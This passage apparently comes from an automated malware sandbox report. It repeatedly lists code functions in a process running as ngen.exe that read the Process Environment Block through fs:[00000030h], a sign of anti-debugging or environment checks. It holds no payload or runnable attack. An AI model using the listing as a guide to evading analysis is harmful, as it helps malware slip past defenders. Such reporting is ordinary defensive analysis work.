Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592F525 mov eax, dword ptr fs:[00000030h]	4_2_0592F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592F525 mov eax, dword ptr fs:[00000030h]	4_2_0592F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BD530 mov eax, dword ptr fs:[00000030h]	4_2_058BD530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BD530 mov eax, dword ptr fs:[00000030h]	4_2_058BD530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890535 mov eax, dword ptr fs:[00000030h]	4_2_05890535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890535 mov eax, dword ptr fs:[00000030h]	4_2_05890535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890535 mov eax, dword ptr fs:[00000030h]	4_2_05890535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890535 mov eax, dword ptr fs:[00000030h]	4_2_05890535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890535 mov eax, dword ptr fs:[00000030h]	4_2_05890535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890535 mov eax, dword ptr fs:[00000030h]	4_2_05890535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593B52F mov eax, dword ptr fs:[00000030h]	4_2_0593B52F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588D534 mov eax, dword ptr fs:[00000030h]	4_2_0588D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588D534 mov eax, dword ptr fs:[00000030h]	4_2_0588D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588D534 mov eax, dword ptr fs:[00000030h]	4_2_0588D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588D534 mov eax, dword ptr fs:[00000030h]	4_2_0588D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588D534 mov eax, dword ptr fs:[00000030h]	4_2_0588D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588D534 mov eax, dword ptr fs:[00000030h]	4_2_0588D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05888550 mov eax, dword ptr fs:[00000030h]	4_2_05888550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05888550 mov eax, dword ptr fs:[00000030h]	4_2_05888550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B656A mov eax, dword ptr fs:[00000030h]	4_2_058B656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B656A mov eax, dword ptr fs:[00000030h]	4_2_058B656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B656A mov eax, dword ptr fs:[00000030h]	4_2_058B656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B562 mov eax, dword ptr fs:[00000030h]	4_2_0587B562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BB570 mov eax, dword ptr fs:[00000030h]	4_2_058BB570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BB570 mov eax, dword ptr fs:[00000030h]	4_2_058BB570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B480 mov eax, dword ptr fs:[00000030h]	4_2_0587B480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05889486 mov eax, dword ptr fs:[00000030h]	4_2_05889486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05889486 mov eax, dword ptr fs:[00000030h]	4_2_05889486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590A4B0 mov eax, dword ptr fs:[00000030h]	4_2_0590A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058864AB mov eax, dword ptr fs:[00000030h]	4_2_058864AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B34B0 mov eax, dword ptr fs:[00000030h]	4_2_058B34B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B44B0 mov ecx, dword ptr fs:[00000030h]	4_2_058B44B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059554DB mov eax, dword ptr fs:[00000030h]	4_2_059554DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058804E5 mov ecx, dword ptr fs:[00000030h]	4_2_058804E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059294E0 mov eax, dword ptr fs:[00000030h]	4_2_059294E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A340D mov eax, dword ptr fs:[00000030h]	4_2_058A340D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B8402 mov eax, dword ptr fs:[00000030h]	4_2_058B8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B8402 mov eax, dword ptr fs:[00000030h]	4_2_058B8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B8402 mov eax, dword ptr fs:[00000030h]	4_2_058B8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587C427 mov eax, dword ptr fs:[00000030h]	4_2_0587C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587E420 mov eax, dword ptr fs:[00000030h]	4_2_0587E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587E420 mov eax, dword ptr fs:[00000030h]	4_2_0587E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587E420 mov eax, dword ptr fs:[00000030h]	4_2_0587E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BA430 mov eax, dword ptr fs:[00000030h]	4_2_058BA430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593F453 mov eax, dword ptr fs:[00000030h]	4_2_0593F453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B440 mov eax, dword ptr fs:[00000030h]	4_2_0588B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B440 mov eax, dword ptr fs:[00000030h]	4_2_0588B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B440 mov eax, dword ptr fs:[00000030h]	4_2_0588B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B440 mov eax, dword ptr fs:[00000030h]	4_2_0588B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B440 mov eax, dword ptr fs:[00000030h]	4_2_0588B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B440 mov eax, dword ptr fs:[00000030h]	4_2_0588B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE443 mov eax, dword ptr fs:[00000030h]	4_2_058BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE443 mov eax, dword ptr fs:[00000030h]	4_2_058BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE443 mov eax, dword ptr fs:[00000030h]	4_2_058BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE443 mov eax, dword ptr fs:[00000030h]	4_2_058BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE443 mov eax, dword ptr fs:[00000030h]	4_2_058BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE443 mov eax, dword ptr fs:[00000030h]	4_2_058BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE443 mov eax, dword ptr fs:[00000030h]	4_2_058BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE443 mov eax, dword ptr fs:[00000030h]	4_2_058BE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A245A mov eax, dword ptr fs:[00000030h]	4_2_058A245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587645D mov eax, dword ptr fs:[00000030h]	4_2_0587645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05881460 mov eax, dword ptr fs:[00000030h]	4_2_05881460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05881460 mov eax, dword ptr fs:[00000030h]	4_2_05881460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05881460 mov eax, dword ptr fs:[00000030h]	4_2_05881460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05881460 mov eax, dword ptr fs:[00000030h]	4_2_05881460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05881460 mov eax, dword ptr fs:[00000030h]	4_2_05881460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589F460 mov eax, dword ptr fs:[00000030h]	4_2_0589F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589F460 mov eax, dword ptr fs:[00000030h]	4_2_0589F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589F460 mov eax, dword ptr fs:[00000030h]	4_2_0589F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589F460 mov eax, dword ptr fs:[00000030h]	4_2_0589F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589F460 mov eax, dword ptr fs:[00000030h]	4_2_0589F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589F460 mov eax, dword ptr fs:[00000030h]	4_2_0589F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0595547F mov eax, dword ptr fs:[00000030h]	4_2_0595547F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AA470 mov eax, dword ptr fs:[00000030h]	4_2_058AA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AA470 mov eax, dword ptr fs:[00000030h]	4_2_058AA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AA470 mov eax, dword ptr fs:[00000030h]	4_2_058AA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593F78A mov eax, dword ptr fs:[00000030h]	4_2_0593F78A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059537B6 mov eax, dword ptr fs:[00000030h]	4_2_059537B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058807AF mov eax, dword ptr fs:[00000030h]	4_2_058807AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059097A9 mov eax, dword ptr fs:[00000030h]	4_2_059097A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AD7B0 mov eax, dword ptr fs:[00000030h]	4_2_058AD7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F7BA mov eax, dword ptr fs:[00000030h]	4_2_0587F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F7BA mov eax, dword ptr fs:[00000030h]	4_2_0587F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F7BA mov eax, dword ptr fs:[00000030h]	4_2_0587F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F7BA mov eax, dword ptr fs:[00000030h]	4_2_0587F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F7BA mov eax, dword ptr fs:[00000030h]	4_2_0587F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F7BA mov eax, dword ptr fs:[00000030h]	4_2_0587F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F7BA mov eax, dword ptr fs:[00000030h]	4_2_0587F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F7BA mov eax, dword ptr fs:[00000030h]	4_2_0587F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F7BA mov eax, dword ptr fs:[00000030h]	4_2_0587F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590F7AF mov eax, dword ptr fs:[00000030h]	4_2_0590F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590F7AF mov eax, dword ptr fs:[00000030h]	4_2_0590F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590F7AF mov eax, dword ptr fs:[00000030h]	4_2_0590F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590F7AF mov eax, dword ptr fs:[00000030h]	4_2_0590F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590F7AF mov eax, dword ptr fs:[00000030h]	4_2_0590F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588C7C0 mov eax, dword ptr fs:[00000030h]	4_2_0588C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058857C0 mov eax, dword ptr fs:[00000030h]	4_2_058857C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058857C0 mov eax, dword ptr fs:[00000030h]	4_2_058857C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058857C0 mov eax, dword ptr fs:[00000030h]	4_2_058857C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059007C3 mov eax, dword ptr fs:[00000030h]	4_2_059007C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A27ED mov eax, dword ptr fs:[00000030h]	4_2_058A27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A27ED mov eax, dword ptr fs:[00000030h]	4_2_058A27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A27ED mov eax, dword ptr fs:[00000030h]	4_2_058A27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588D7E0 mov ecx, dword ptr fs:[00000030h]	4_2_0588D7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058847FB mov eax, dword ptr fs:[00000030h]	4_2_058847FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058847FB mov eax, dword ptr fs:[00000030h]	4_2_058847FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05885702 mov eax, dword ptr fs:[00000030h]	4_2_05885702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05885702 mov eax, dword ptr fs:[00000030h]	4_2_05885702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05887703 mov eax, dword ptr fs:[00000030h]	4_2_05887703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BC700 mov eax, dword ptr fs:[00000030h]	4_2_058BC700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BF71F mov eax, dword ptr fs:[00000030h]	4_2_058BF71F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BF71F mov eax, dword ptr fs:[00000030h]	4_2_058BF71F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05880710 mov eax, dword ptr fs:[00000030h]	4_2_05880710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B0710 mov eax, dword ptr fs:[00000030h]	4_2_058B0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05883720 mov eax, dword ptr fs:[00000030h]	4_2_05883720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0595B73C mov eax, dword ptr fs:[00000030h]	4_2_0595B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0595B73C mov eax, dword ptr fs:[00000030h]	4_2_0595B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0595B73C mov eax, dword ptr fs:[00000030h]	4_2_0595B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0595B73C mov eax, dword ptr fs:[00000030h]	4_2_0595B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589F720 mov eax, dword ptr fs:[00000030h]	4_2_0589F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589F720 mov eax, dword ptr fs:[00000030h]	4_2_0589F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589F720 mov eax, dword ptr fs:[00000030h]	4_2_0589F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BC720 mov eax, dword ptr fs:[00000030h]	4_2_058BC720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BC720 mov eax, dword ptr fs:[00000030h]	4_2_058BC720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588973A mov eax, dword ptr fs:[00000030h]	4_2_0588973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588973A mov eax, dword ptr fs:[00000030h]	4_2_0588973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B273C mov eax, dword ptr fs:[00000030h]	4_2_058B273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B273C mov ecx, dword ptr fs:[00000030h]	4_2_058B273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B273C mov eax, dword ptr fs:[00000030h]	4_2_058B273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05879730 mov eax, dword ptr fs:[00000030h]	4_2_05879730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05879730 mov eax, dword ptr fs:[00000030h]	4_2_05879730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593F72E mov eax, dword ptr fs:[00000030h]	4_2_0593F72E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FC730 mov eax, dword ptr fs:[00000030h]	4_2_058FC730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594972B mov eax, dword ptr fs:[00000030h]	4_2_0594972B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B5734 mov eax, dword ptr fs:[00000030h]	4_2_058B5734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05904755 mov eax, dword ptr fs:[00000030h]	4_2_05904755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B674D mov esi, dword ptr fs:[00000030h]	4_2_058B674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B674D mov eax, dword ptr fs:[00000030h]	4_2_058B674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B674D mov eax, dword ptr fs:[00000030h]	4_2_058B674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05893740 mov eax, dword ptr fs:[00000030h]	4_2_05893740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05893740 mov eax, dword ptr fs:[00000030h]	4_2_05893740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05893740 mov eax, dword ptr fs:[00000030h]	4_2_05893740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05880750 mov eax, dword ptr fs:[00000030h]	4_2_05880750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2750 mov eax, dword ptr fs:[00000030h]	4_2_058C2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2750 mov eax, dword ptr fs:[00000030h]	4_2_058C2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05953749 mov eax, dword ptr fs:[00000030h]	4_2_05953749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B765 mov eax, dword ptr fs:[00000030h]	4_2_0587B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B765 mov eax, dword ptr fs:[00000030h]	4_2_0587B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B765 mov eax, dword ptr fs:[00000030h]	4_2_0587B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B765 mov eax, dword ptr fs:[00000030h]	4_2_0587B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05888770 mov eax, dword ptr fs:[00000030h]	4_2_05888770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770 mov eax, dword ptr fs:[00000030h]	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05884690 mov eax, dword ptr fs:[00000030h]	4_2_05884690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05884690 mov eax, dword ptr fs:[00000030h]	4_2_05884690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590368C mov eax, dword ptr fs:[00000030h]	4_2_0590368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590368C mov eax, dword ptr fs:[00000030h]	4_2_0590368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590368C mov eax, dword ptr fs:[00000030h]	4_2_0590368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590368C mov eax, dword ptr fs:[00000030h]	4_2_0590368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587D6AA mov eax, dword ptr fs:[00000030h]	4_2_0587D6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587D6AA mov eax, dword ptr fs:[00000030h]	4_2_0587D6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BC6A6 mov eax, dword ptr fs:[00000030h]	4_2_058BC6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058776B2 mov eax, dword ptr fs:[00000030h]	4_2_058776B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058776B2 mov eax, dword ptr fs:[00000030h]	4_2_058776B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058776B2 mov eax, dword ptr fs:[00000030h]	4_2_058776B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B66B0 mov eax, dword ptr fs:[00000030h]	4_2_058B66B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B16CF mov eax, dword ptr fs:[00000030h]	4_2_058B16CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0588B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0588B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0588B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0588B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0588B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0588B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BA6C7 mov ebx, dword ptr fs:[00000030h]	4_2_058BA6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BA6C7 mov eax, dword ptr fs:[00000030h]	4_2_058BA6C7
